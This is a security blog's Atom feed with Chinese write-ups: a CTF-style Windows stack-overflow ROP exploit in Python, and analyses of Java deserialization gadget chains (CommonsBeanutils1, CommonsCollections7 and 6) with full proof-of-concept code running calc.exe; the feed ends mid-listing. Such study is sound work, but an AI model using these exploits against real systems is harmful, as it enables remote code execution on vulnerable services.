atom.xml

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://limpid94.github.io</id>
    <title>Limpid</title>
    <updated>2022-09-14T09:48:42.569Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://limpid94.github.io"/>
    <link rel="self" href="https://limpid94.github.io/atom.xml"/>
    <subtitle>Keep thinking , keeping learning</subtitle>
    <logo>https://limpid94.github.io/images/avatar.png</logo>
    <icon>https://limpid94.github.io/favicon.ico</icon>
    <rights>All rights reserved 2022, Limpid</rights>
    <entry>
        <title type="html"><![CDATA[【WinPWN】栈溢出-ROP-babyROP]]></title>
        <id>https://limpid94.github.io/post/winpwn-zhan-yi-chu-rop-babyrop/</id>
        <link href="https://limpid94.github.io/post/winpwn-zhan-yi-chu-rop-babyrop/">
        </link>
        <updated>2022-05-09T16:22:43.000Z</updated>
        <content type="html"><![CDATA[<h2 id="程序基本信息">程序基本信息</h2>
<figure data-type="image" tabindex="1"><img src="https://limpid94.github.io/post-images/1652113838376.png" alt="" loading="lazy"></figure>
<h2 id="反编译情况">反编译情况</h2>
<pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  int i; // esi
  char v5; // al
  FILE *v6; // eax
  FILE *v7; // eax
  int v8; // esi
  int j; // ebx
  char v10; // al
  FILE *v11; // eax
  char messages[100]; // [esp+Ch] [ebp-CCh] BYREF
  char name[100]; // [esp+70h] [ebp-68h] BYREF
  int messagelength; // [esp+D4h] [ebp-4h] BYREF

  puts(&quot;input your name&quot;);
  v3 = _iob_func();
  fflush(v3 + 1);
  for ( i = 0; i &lt; 100; ++i )
  {
    v5 = getchar();
    if ( v5 == 10 )
      break;
    name[i] = v5;
  }
  printf(&quot;hello %s\n&quot;, name);
  v6 = _iob_func();
  fflush(v6 + 1);
  puts(&quot;input your message length&quot;);
  v7 = _iob_func();
  fflush(v7 + 1);
  scanf(&quot;%d\n&quot;, &amp;messagelength);
  v8 = 0;
  for ( j = messagelength; v8 &lt; j; messages[v8++] = v10 )
  {
    v10 = getchar();
    if ( v10 == 10 )
      break;
  }
  puts(&quot;leave your message&quot;);
  printf(&quot;your mesage is %s\n&quot;, messages);
  printf(&quot;press enter to exit\n&quot;);
  v11 = _iob_func();
  fflush(v11 + 1);
  getchar();
  return 0;
}
</code></pre>
<h2 id="漏洞分析">漏洞分析</h2>
<p>首先看到第一处</p>
<pre><code class="language-c">  puts(&quot;input your name&quot;);
  v3 = _iob_func();
  fflush(v3 + 1);
  for ( i = 0; i &lt; 100; ++i )
  {
    v5 = getchar();
    if ( v5 == 10 )
      break;
    name[i] = v5;
  }
  printf(&quot;hello %s\n&quot;, name);
</code></pre>
<p>在输入name的时候输入长度为100，并且name的数组长度为<code>char name[100];</code>，这样并不会造成栈溢出，但是字符串的结尾应该是<code>\x00</code> ，因此当输入长度为100字符的时候就会将末尾的 <code>\x00</code> 抹去，于是在printf函数中会将后面的数据一起打印出来：<br>
<img src="https://limpid94.github.io/post-images/1652114958081.png" alt="" loading="lazy"><br>
通过X32DBG进行调试，发现内存布局如下：<br>
<img src="https://limpid94.github.io/post-images/1652115168867.png" alt="" loading="lazy"><br>
实际上内存中紧跟name字符串后面的是msvcr100.dll中的某个函数，因此可以通过当前地址-偏移量=dll文件的基址。而用调试器查看当前程序的内存布局可以获得当前msvcr100.dll的加载基址，于是就可以得知偏移量是多少。<br>
<img src="https://limpid94.github.io/post-images/1652179735489.png" alt="" loading="lazy"><br>
偏移量为<code>0x7120263d-0x711f0000=0x1263d</code>，从程序信息中得知程序开启了ASLR和DEP保护，也就是每次程序启动加载的地址不一样，但是偏移量不会变动，因此结合泄露的地址就能求出每次启动时msvcr100.dll的基址。</p>
<p>再来看第二处：</p>
<pre><code class="language-c"> puts(&quot;input your message length&quot;);
  v7 = _iob_func();
  fflush(v7 + 1);
  scanf(&quot;%d\n&quot;, &amp;messagelength);
  v8 = 0;
  for ( j = messagelength; v8 &lt; j; messages[v8++] = v10 )
  {
    v10 = getchar();
    if ( v10 == 10 )
      break;
  }
</code></pre>
<p>这里输入的长度可控，并且输入的内容长度可以超过messages数组的长度，因此存在栈溢出漏洞。<br>
从IDA中得知messages距离ebp的长度：<br>
<img src="https://limpid94.github.io/post-images/1652180304744.png" alt="" loading="lazy"><br>
也就是填充<code>0xCC+4</code>字节长度就可以控制EIP从而劫持程序流。<br>
现在DEP保护开启使得无法把shellcode填入栈中来执行，因此需要ROP来绕过这个保护。可以利用MANO脚本来查找ropchain，也可以尝试直接从msvcr100.dll中挖掘利用点。</p>
<p>首先在msvcr100.dll中找到system函数：<br>
<img src="https://limpid94.github.io/post-images/1652180651947.png" alt="" loading="lazy"><br>
其偏移地址为:<br>
<img src="https://limpid94.github.io/post-images/1652180946490.png" alt="" loading="lazy"></p>
<p>然后还发现存在cmd.exe字符串，但是字符串并不能直接看出偏移地址，因此先用ida加载dll文件获取当前地址，再查看其镜像基地址：<br>
<img src="https://limpid94.github.io/post-images/1652180726880.png" alt="" loading="lazy"><br>
然后用exeinfoPE来查看基地址：<br>
<img src="https://limpid94.github.io/post-images/1652181119674.png" alt="" loading="lazy"><br>
二者相减得知偏移量：<code>0x78AE3030-0x87AA0000 = 0x43030</code>，于是可以编写EXP了。</p>
<p>需要注意的是，发生栈溢出的栈空间属于main函数，因此需要先完成最后的那个回车才能触发：<br>
<img src="https://limpid94.github.io/post-images/1652181420191.png" alt="" loading="lazy"></p>
<h2 id="exp">EXP</h2>
<pre><code class="language-python">#coding:utf-8

from winpwn import *
#context.log_level = 'debug'
context.arch = 'i386'

p = process(&quot;I:\\WinPwn\\execise\\BUUOJ\\BabyROP\\babyrop.exe&quot;)
payload = &quot;A&quot; * 0x63 + &quot;@&quot;
p.recvuntil(&quot;name&quot;)
p.sendline(payload)
p.recvuntil(&quot;@&quot;)

# hex(0x7120263d-0x711f0000) = 0x1263d
dll_base = u32(p.recv(4)) - 0x1263d
print &quot;[+] MSVCR100.DLL Base Address:&quot;,dll_base

system_offset = 0x62632
cmd_offset = 0x43030
system_addr = dll_base + system_offset
cmd_addr =  dll_base + cmd_offset
payload2 = 'A'*0xCC + 'BBBB' + p32(system_addr) + p32(0xdeadbeef) + p32(cmd_addr)
p.recvuntil(&quot;input your message length&quot;)
p.sendline(str(256))
p.sendline(payload2)
p.recvuntil(&quot;press enter to exit&quot;)
p.sendline(&quot;&quot;)

p.interactive()
</code></pre>
<figure data-type="image" tabindex="2"><img src="https://limpid94.github.io/post-images/1652181635681.png" alt="" loading="lazy"></figure>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonBeanutils1利用链]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commonbeanutils1-li-yong-lian/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commonbeanutils1-li-yong-lian/">
        </link>
        <updated>2022-04-29T06:50:57.000Z</updated>
        <content type="html"><![CDATA[<h2 id="前言">前言</h2>
<p>在尝试复现Shiro 550反序列化漏洞的时候发现用cc链不能正常攻击，而网上的一些文章却能正常用CC链进行复现。经过对比发现原始的Shiro环境下没有Common-Collections包，而网上能成功复现的博主大部分都是自己添加了CC包。于是思考在无CC包的情况下如何进行利用。当然已经有大牛给出了答案，使用CommonBeanutils包来构造反序列化链接。</p>
<h2 id="调用链">调用链</h2>
<pre><code class="language-text">PriorityQueue.readObject()
	PriorityQueue.heapify()
		PriorityQueue.siftDown()
			siftDownUsingComparator()
				BeanComparator.compare()
					TemplatesImpl.getOutputProperties()
						TemplatesImpl.newTransformer()
							TemplatesImpl.getTransletInstance()
								TemplatesImpl.defineTransletClasses()
									TemplatesImpl.TransletClassLoader.defineClass()
										Pwner*(Javassist-generated).&lt;static init&gt;
											Runtime.exec()
</code></pre>
<h2 id="相关知识点">相关知识点</h2>
<h3 id="commonbeanutils">CommonBeanutils</h3>
<p>CommonBeanutils提供了一组便捷的动态操作JavaBean的API，代替复杂的反射模式。<br>
其中值得关注的有<code>org.apache.commons.beanutils.BeanComparator</code> ，其实现了<code>Comparator</code>接口可以用来比较两个Bean属性的内容。<br>
<img src="https://limpid94.github.io/post-images/1651219689079.png" alt="" loading="lazy"><br>
查看其构造函数，一共有三个：</p>
<pre><code class="language-java">    public BeanComparator() {
        this( null );
    }

    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

    public BeanComparator( String property, Comparator comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }
</code></pre>
<p>构造函数需要传入两个函数第二个函数若不传则默认调用<code>ComparableComparator</code>，其源于CommonsCollections。但如果传入了一个原生的<code>Comparator</code>则可以摆脱对CC包的依赖。<br>
再看它的compare方法</p>
<pre><code class="language-java">    public int compare( Object o1, Object o2 ) {
        
        if ( property == null ) {
            // compare the actual objects
            return comparator.compare( o1, o2 );
        }
        
        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return comparator.compare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
            throw new RuntimeException( &quot;IllegalAccessException: &quot; + iae.toString() );
        } 
        catch ( InvocationTargetException ite ) {
            throw new RuntimeException( &quot;InvocationTargetException: &quot; + ite.toString() );
        }
        catch ( NoSuchMethodException nsme ) {
            throw new RuntimeException( &quot;NoSuchMethodException: &quot; + nsme.toString() );
        } 
    }
</code></pre>
<p>该方法会调用<code>PropertyUtils.getProperty()</code>来获取两个对象的<code>property</code>属性的值，然后调用<code>internalCompare()</code>方法调用实例化的<code>comparator</code> 的<code>compare</code> 方法进行比较。而<code>getProperty()</code>相当于获取传入的对象的指定属性的<code>getter/setter</code>方法。例如传入<code>User</code>和<code>name</code>，相当于调用 <code>User.getName()</code>。</p>
<h2 id="反序列化利用链构造">反序列化利用链构造</h2>
<p>这里用来触发恶意代码的TemplatesImpl的<code>newTransformer()</code>是被自身类中的<code>getOutputProperties()</code>所调用。<br>
<img src="https://limpid94.github.io/post-images/1651404435994.png" alt="" loading="lazy"><br>
之所以<code>getOutputProperties</code>方法是因为可以搭配<code>BeanComparator#compare()</code>，利用其中调用类的getter/setter方法的手段来调用<code>getOutputProperties</code>属性的值。<br>
为了进一步触发<code>BeanComparator</code>类的<code>compare</code>方法，可考虑CC链中的<code>PriorityQueue</code>类。<br>
<code>PriorityQueue</code>的调用过程在CC2反序列化的文章内有分析过，简单说就是<code>PriorityQueue#readObject()</code> 调用了<code>heapify()</code>，而在<code>heapify()</code>中为了遍历和排序元素，将其传入<code>siftDown()</code>中。如果<code>comparator</code>不为空的话会进入<code>siftDownUsingComparator()</code>中，</p>
<pre><code class="language-java">    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
</code></pre>
<p>而在<code>siftDownUsingComparator()</code>中调用了<code>compare</code>方法，也就跟<code>BeanComparator</code>中的<code>compare</code>方法链接起来</p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonbeanutils;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonBeanutils1 {
    public static void main(String[] args) throws Exception {
        //获取默认类池
        ClassPool pool = ClassPool.getDefault();
        //添加路径
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类
        CtClass evil = pool.makeClass(&quot;Evil&quot;);
        //设置类名
        evil.setName(&quot;MyEvil&quot;);
        //设置要继承的类
        evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //创建空的构造函数
        CtConstructor newconstructor = evil.makeClassInitializer();
        //将字节码插入开头
        newconstructor.insertBefore(&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;);
        evil.writeFile();

        byte[] bytecode = evil.toBytecode();
        byte[][] bytecodes = {bytecode};

        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField(&quot;_name&quot;);
        nameField.setAccessible(true);
        nameField.set(templates,&quot;aaa&quot;);

        Field bytecodesField = templatesClass.getDeclaredField(&quot;_bytecodes&quot;);
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = templatesClass.getDeclaredField(&quot;_tfactory&quot;);
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //++++++++++++++++++++++++++++++++代码执行部分结束+++++++++++++++++++++++++++++++++++++

        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue&lt;Object&gt; queue = new PriorityQueue&lt;Object&gt;(2, beanComparator);
        queue.add(&quot;1&quot;);
        queue.add(&quot;2&quot;);

        Field propertyField = beanComparator.getClass().getDeclaredField(&quot;property&quot;);
        propertyField.setAccessible(true);
        propertyField.set(beanComparator,&quot;outputProperties&quot;);

        Field queueField = queue.getClass().getDeclaredField(&quot;queue&quot;);
        queueField.setAccessible(true);
        queueField.set(queue, new Object[]{templates,templates});

        Field comparatorField = beanComparator.getClass().getDeclaredField(&quot;comparator&quot;);
        comparatorField.setAccessible(true);
        comparatorField.set(beanComparator,String.CASE_INSENSITIVE_ORDER);


//        mySeriable(queue);
        myDeseriable(&quot;seccb1.bin&quot;);

    }
    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;seccb1.bin&quot;));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object myDeseriable(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
        return ois.readObject();
    }
}

</code></pre>
<h2 id="参考材料">参考材料</h2>
<p>https://www.cnblogs.com/9eek/p/15123125.html<br>
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html<br>
https://blog.weik1.top/2021/01/18/CommonsBeanutils%E9%93%BE%E5%88%86%E6%9E%90/<br>
https://www.cnblogs.com/zpchcbd/p/14957034.html<br>
https://su18.org/post/ysoserial-su18-3/#beancomparator</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonCollections7利用链]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections7-li-yong-lian/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections7-li-yong-lian/">
        </link>
        <updated>2022-04-08T09:53:02.000Z</updated>
        <content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code>    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
</code></pre>
<h2 id="差异点分析">差异点分析</h2>
<p>CC1、3、5、6都用都到了<code>LazyMap</code>的<code>get</code>作为命令执行的入口点，CC7同样采用<code>LazyMap</code>的<code>get()</code>但是有别于之前的触发方法。</p>
<h3 id="hashtable">Hashtable</h3>
<p>该条反序列化的入口点是<code>readObject()</code></p>
<pre><code class="language-java">    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length &gt; elements &amp;&amp; (length &amp; 1) == 0)
            length--;
        if (origlength &gt; 0 &amp;&amp; length &gt; origlength)
            length = origlength;
        table = new Entry&lt;?,?&gt;[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements &gt; 0; elements--) {
            @SuppressWarnings(&quot;unchecked&quot;)
                K key = (K)s.readObject();
            @SuppressWarnings(&quot;unchecked&quot;)
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }
</code></pre>
<p>追入<code>reconstitutionPut()</code>中，在里面找到<code>e.key.equals(key)</code>可以直接和<code>LazyMap</code>的<code>equals</code>方法进行对接。</p>
<pre><code class="language-java">    private void reconstitutionPut(Entry&lt;?,?&gt;[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash &amp; 0x7FFFFFFF) % tab.length;
        for (Entry&lt;?,?&gt; e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) &amp;&amp; e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings(&quot;unchecked&quot;)
            Entry&lt;K,V&gt; e = (Entry&lt;K,V&gt;)tab[index];
        tab[index] = new Entry&lt;&gt;(hash, key, value, e);
        count++;
    }
</code></pre>
<p><code>reconstitutionPut()</code> 会将 <code>HashTable</code> 里的键名<code>(key)</code>互相比较，而传入的key是<code>LazyMap</code>，相当于调用<code>LazyMap#equals()</code>。<br>
但是<code>LazyMap</code>并没有直接实现<code>equals</code>方法，而是在其父类<code>AbstractMapDecorator</code>中实现的，也就是调用了<code>AbstractMapDecorator#equals()</code></p>
<pre><code class="language-java">    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }
</code></pre>
<p>可以看到该方法返回<code>map.equals(object)</code>的值，而<code>map</code>是在LazyMap的构造函数中被赋值：</p>
<pre><code class="language-java">    protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException(&quot;Factory must not be null&quot;);
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }
</code></pre>
<p>如果传入<code>HashMap</code>，那么<code>map.equals(object)</code>实际上就是调用<code>HashMap的equals</code>方法。</p>
<p>回到HashMap，其继承了<code>Abstract类</code>，而且二者都实现了Map接口。借用安全客的文章中的继承关系图片<br>
<img src="https://limpid94.github.io/post-images/1649685077683.png" alt="" loading="lazy"><br>
该链中需要跟一下equals方法，</p>
<pre><code class="language-java">    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map&lt;?,?&gt; m = (Map&lt;?,?&gt;) o;
        if (m.size() != size())
            return false;

        try {
            Iterator&lt;Entry&lt;K,V&gt;&gt; i = entrySet().iterator();
            while (i.hasNext()) {
                Entry&lt;K,V&gt; e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null &amp;&amp; m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }
</code></pre>
<p>其中有两处<code>m.get(key)</code>的调用就是触发命令执行的链接点。</p>
<h3 id="注意点">注意点</h3>
<p>整条链条看上去并不复杂，但是值得注意的细节比较多。<br>
首先是需要【两个HashMap】。因为在Hashtable的put方法中：</p>
<pre><code class="language-java">    public synchronized V put(K key, V value) {
       ......(部分代码省略)
        for(; entry != null ; entry = entry.next) {
            if ((entry.hash == hash) &amp;&amp; entry.key.equals(key)) {
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }
        ......
</code></pre>
<p>两个hashmap相同的话会直接在hashtable put的时候认为是一个元素，之后在反序列化的时候不再触发反序列化代码。</p>
<p>其次是【zZ和yy】。一开始以为是任意的两个字符串，但是经过分析之后发现实际上是有作用的。<br>
仔细看一下<code>Hashtable#reconstitutionPut</code>的代码</p>
<pre><code class="language-java">    private void reconstitutionPut(Entry&lt;?,?&gt;[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash &amp; 0x7FFFFFFF) % tab.length;
        for (Entry&lt;?,?&gt; e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) &amp;&amp; e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings(&quot;unchecked&quot;)
            Entry&lt;K,V&gt; e = (Entry&lt;K,V&gt;)tab[index];
        tab[index] = new Entry&lt;&gt;(hash, key, value, e);
        count++;
    }
</code></pre>
<p>其中<code>if ((e.hash == hash) &amp;&amp; e.key.equals(key))</code>要求两个哈希必须相等。此处想到和2022虎符CTF的web题类似，需要从hashCode计算方法入手<br>
<img src="https://limpid94.github.io/post-images/1649825895114.png" alt="" loading="lazy"><br>
因此假定比较的第一个字符串为'yy'，其字符的ASCII是121，若第二个字符串开头与之相差1，即z开头，那么z后的字符应该是121-31=90,就是Z。因此要和第一个字符串相等，第二个字符串可以是zZ。（当然，不是只有这两个字符串，只要符合这个规律的字符串都行）<br>
这里其实还隐含了一个条件，就是这两个字符串不能是相同的。因为lazymap#get()中有这样的逻辑：</p>
<pre><code class="language-java">        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
</code></pre>
<p>请注意到containsKey()方法：<br>
<img src="https://limpid94.github.io/post-images/1649826795369.png" alt="" loading="lazy"></p>
<p>也就是相同的key会导致其不进入<code>transform()</code>方法。</p>
<p>再者需要理解 【lazyMap2.remove(&quot;yy&quot;);】。因为<code>hashtable</code>有两次<code>put</code>的操作，在第二次<code>hashtable.put(lazyMap2, 1);</code>时，会触发LazyMap 的 get 方法，会新增一个 key/value 值相同的键值对，所以此时会多出一个yy。<br>
<img src="https://limpid94.github.io/post-images/1649829997580.png" alt="" loading="lazy"></p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonCollections7 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(&quot;getMethod&quot;,new Class[]{String.class,Class[].class}, new Object[]{&quot;getRuntime&quot;,null}),
                new InvokerTransformer(&quot;invoke&quot;,new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc.exe&quot;})
        };

        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        //LazyMap传入的值需要一个map类型，因此用HashMap
        HashMap&lt;Object, Object&gt; innerMap1 = new HashMap&lt;&gt;();
        HashMap&lt;Object, Object&gt; innerMap2 = new HashMap&lt;&gt;();
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put(&quot;yy&quot;,1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put(&quot;zZ&quot;,1);


        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,1);

        Field iTransformersField = chainedTransformer.getClass().getDeclaredField(&quot;iTransformers&quot;);
        iTransformersField.setAccessible(true);
        iTransformersField.set(chainedTransformer,transformers);
        lazyMap2.remove(&quot;yy&quot;);

//        mySeriable(hashtable);
        myDeseriable();
    }
    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser7.bin&quot;));
        oos.writeObject(obj);
    }

    public static Object myDeseriable() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&quot;ser7.bin&quot;));
        return ois.readObject();
    }
}
</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/240040#h3-4<br>
https://javamana.com/2022/03/202203132203154936.html<br>
https://blog.csdn.net/qq_35733751/article/details/119862728<br>
https://blog.weik1.top/2021/03/02/CommonCollections2-7%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%88%86%E6%9E%90/#CommonCollections7<br>
http://cnblogs.com/nice0e3/p/13910833.html<br>
https://blog.csdn.net/weixin_44245828/article/details/109853439</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonCollections6利用链]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections6-li-yong-lian/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections6-li-yong-lian/">
        </link>
        <updated>2022-04-06T13:52:18.000Z</updated>
        <content type="html"><![CDATA[<h2 id="利用连">利用连</h2>
<pre><code>	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
</code></pre>
<h2 id="差异点分析">差异点分析</h2>
<p>CC6和CC5在后半段基本相同，前半部分的差异在于CC5中使用的是<code>BadAttributeValueExpException</code>而CC6用<code>HashSet</code>去调用<code>LazyMap#get()</code>。<br>
此处还是要回顾一下<code>TiedMapEntry</code>中有两处调用了<code>getValue()</code>，分别是<code>toString()</code>和<code>hashCode()</code></p>
<pre><code class="language-java">    /**
     * Gets a hashCode compatible with the equals method.
     * &lt;p&gt;
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

    /**
     * Gets a string version of the entry.
     * 
     * @return entry as a string
     */
    public String toString() {
        return getKey() + &quot;=&quot; + getValue();
    }
</code></pre>
<p>CC5是调用<code>toString()</code>，而CC6则调用<code>hashCode()</code>。</p>
<h3 id="hashset">HashSet</h3>
<p>HashSet本质还是调用HashMap，这点从他的构造函数可以看出：</p>
<pre><code class="language-java">    /**
     * Constructs a new, empty set; the backing &lt;tt&gt;HashMap&lt;/tt&gt; instance has
     * default initial capacity (16) and load factor (0.75).
     */
    public HashSet() {
        map = new HashMap&lt;&gt;();
    }
</code></pre>
<p>并且其<code>add()</code>实质上是调用<code>HashMap</code>的<code>put()</code>。</p>
<pre><code class="language-java">    public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }
</code></pre>
<p>从URLDNS中对于HashMap的了解可以知道<code>put()</code>会调用<code>HashMap#hash()</code>来计算添加进来的新元素的哈希值，因而可以调用<code>TiedMap#hashCode()</code></p>
<pre><code class="language-java">    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
    }
</code></pre>
<p>选用<code>HashSet</code>还有一个原因在于其重写了<code>readObject()</code>并且在该方法中直接调用了<code>put()</code>。</p>
<pre><code class="language-java">    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity &lt; 0) {
            throw new InvalidObjectException(&quot;Illegal capacity: &quot; +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor &lt;= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException(&quot;Illegal load factor: &quot; +
                                             loadFactor);
        }

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size &lt; 0) {
            throw new InvalidObjectException(&quot;Illegal size: &quot; +
                                             size);
        }

        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Create backing HashMap
        map = (((HashSet&lt;?&gt;)this) instanceof LinkedHashSet ?
               new LinkedHashMap&lt;E,Object&gt;(capacity, loadFactor) :
               new HashMap&lt;E,Object&gt;(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i&lt;size; i++) {
            @SuppressWarnings(&quot;unchecked&quot;)
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }
</code></pre>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
